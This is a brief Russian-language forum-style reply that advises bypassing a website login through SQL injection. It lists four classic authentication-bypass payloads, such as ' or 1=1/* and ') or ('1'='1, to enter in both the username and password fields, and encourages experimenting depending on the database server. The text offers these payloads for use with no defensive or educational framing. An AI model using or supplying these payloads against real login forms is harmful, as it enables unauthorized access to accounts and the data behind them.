Если есть иньекция, очень врядле. что те нужно знать логин.

ПРобуй ввести как в логин, так и в пароль:
' or 1=1/*
') or 1=1/*
')) or 1=1/*
') or ('1'='1
Вобўем сам эксперементіруй. И ещё многое зависит от того, какой серв БД там стоит!